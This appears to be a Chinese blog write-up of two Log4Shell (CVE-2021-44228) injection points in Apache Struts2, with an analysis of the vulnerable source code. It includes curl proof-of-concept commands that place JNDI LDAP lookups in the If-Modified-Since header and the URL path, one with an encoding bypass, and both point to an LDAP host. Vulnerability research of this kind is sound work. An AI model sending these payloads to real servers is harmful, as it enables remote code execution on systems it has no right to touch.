文章目录

  • 前言
  • 一、第一个利用点poc
    • 代码分析
  • 二、第二个利用点poc
    • 代码分析
  • Github

前言

随着log4j漏洞的出现,众多框架受到影响,大家都在研究不同框架的利用点在何处,下面总结的是Struts2目前的可利用点。


一、第一个利用点poc

curl -vv -H "If-Modified-Since: \${jndi:ldap://localhost:80/abc}" http://localhost:8080/struts2-showcase/struts/utils.js

代码分析

Struts2 framework 存在一些各种UI组件的静态文件,管理这些的是DefaultStaticContentLoader类,以下为漏洞触发点代码:

protected void process(InputStream is, String path, HttpServletRequest request, HttpServletResponse response) throws IOException {if (is != null) {Calendar cal = Calendar.getInstance();// check for if-modified-since, prior to any other headerslong ifModifiedSince = 0;try {ifModifiedSince = request.getDateHeader("If-Modified-Since");} catch (Exception e) {LOG.warn("Invalid If-Modified-Since header value: '{}', ignoring", request.getHeader("If-Modified-Since"));}

可以发现我们通过设置If-Modified-Since即可利用log4j漏洞,目前可利用的静态文件:

  • tooltip.gif
  • domtt.css
  • utils.js
  • domTT.js
  • inputtransfersselect.js
  • optiontransferselect.js

二、第二个利用点poc

curl -vv http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

代码分析

代码触发点在DefaultActionMapper类文件,这个类尝试解析URI后调用对应的action。

protected String cleanupNamespaceName(final String rawNamespace) {if (allowedNamespaceNames.matcher(rawNamespace).matches()) {return rawNamespace;} else {LOG.warn("{} did not match allowed namespace names {} - default namespace {} will be used!",rawNamespace, allowedNamespaceNames, defaultNamespaceName);return defaultNamespaceName;}
}

但是还有一个问题就是tomcat会将//识别为/,这里就需要将payload进行转变,最后可以使用

$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

Github

我将上面的利用点编写了goby的扫描脚本,同时有大量最新安全漏洞poc,欢迎大家一起交流。
地址在:https://github.com/aetkrad/goby_poc

Struts2 CVE-2021-44228 log4j POC相关推荐

  1. struts2 log4j_Struts2和Log4j集成示例项目

    struts2 log4j Sometime back I wrote an article about using log4j in web application and we utilized ...

  2. 申请CVE的姿势总结

    什么是CVE? CVE的全称叫做"Common Vulnerabilities & Exposures"中文含义是公共漏洞和暴露.它作为披露漏洞的平台,受到国内外关注.CV ...

  3. 网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御

    起底Apache Log4j漏洞: 如何出现.如何被利用与如何防御 受影响平台: 任何使用Log4j2漏洞版本的应用程序和服务 受影响用户: 任何使用Log4j的具备该漏洞版本的组织 影响: 远程攻击 ...

  4. CVE-2022-21882 分析POC

    0x0 漏洞描述 该漏洞的成因和CVE-2021-1732类似,如果不了解,请先阅读我之前的分析:https://blog.csdn.net/qq_41252520/article/details/1 ...

  5. 黑哥点评|关于 Apache Log4j2 高危漏洞的思考与建议

    2021年12月8日,知道创宇404积极防御实验室通过创宇安全智脑监测到Apache Log4j2远程代码执行高危漏洞(CVE-2021-44228)被攻击者利用,且该漏洞细节已经被公开扩散. 经专家 ...

  6. Myeclipse上传至码云

    转 码云入门教程 2018年07月23日 16:01:35 TEDU_橙子 阅读数:1080 第一步.先要在码云上面创建一个空的项目:然后填个项目名称就行了,项目介绍可填可不填. 查看全文 http: ...

  7. 【安全漏洞】CVE-2021-42287CVE-2021-42278 域内提权

    前言 网络安全技术学习,承认⾃⼰的弱点不是丑事.只有对原理了然于⼼,才能突破更多的限制.拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板.知识⾯,决定看到的攻击⾯有多⼴:知识 ...

  8. POC-T框架学习————9、相关脚本深入学习五

    script目录----整个POC的存放地方,也是该项目的一个重点 因为涉及的POC脚本比较多,我们接下来就简单的去介绍几个: 1.activemq-weakpass.py(Apache Active ...

  9. S2-052(CVE-2017-9805)

    S2-052(CVE-2017-9805) struts2 052远程代码执行漏洞POC利用(影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Strut ...

最新文章

  1. 机器学习模型评估指标总结!
  2. RESTful再理解
  3. 编译Cocos2dx程序 (一)
  4. java日志服务器_java服务器搭建(一)日志系统
  5. Windows编译OpenSSL
  6. Sedgwick Museum of Earth Sciences
  7. 想实现高德/百度示例中 源代码编辑器+效果预览
  8. linux下代码写错了怎么更改_AWS全面上市开源Linux发行版,专为容器操作系统设计...
  9. 如何成为阿里巴巴大数据开发工程师?你要学习很多东西
  10. 剑指offer:3-7记录
  11. Oracle Create Profile
  12. 全方位解析阿里云核心技术竞争力,CSDN 独家在线峰会来了!
  13. ECCV 2018丨YOLO遇上OpenPose,近200FPS的高帧数多人姿态检测
  14. android创建sqlite在sd卡上,在ionic3的sdcard上创建SQLite数据库
  15. python中mod运算符_Python—运算符模块,pythonoperator
  16. java并发包aqu_Java并发包之SynchronousQueue
  17. 通过纯真IP数据库查询IP归属地信息
  18. 原生js倒计时插件封装
  19. 给推荐系统加入先验知识的方法总结
  20. Bulma 教程,Bulma 指南,Bulma 实战,Bulma 中文手册

热门文章

  1. 基于GeoPandas的POI人口数赋值方法,按面提取点数据并赋值
  2. VC10和C++ 0x (1) - lambda表达式
  3. 卓威显示器能用html线吗,PGI上用的144Hz显示器 ZOWIE GEAR XL2411P评测
  4. lol服务器位置峡谷之巅,lol英雄联盟峡谷之巅怎么进_峡谷之巅是什么_峡谷之巅报名需要什么段位...
  5. 转载:网络游戏外挂设计深度探索
  6. 计算机专业的理想作文100字,我的理想作文100字六篇
  7. postgresql批量插入数据
  8. 求1/1!+1/2!+1/3!+...+1/n!……感触颇深
  9. 给窗式空调加装遥控器
  10. shell 数组遍历加引号和不加引号的区别?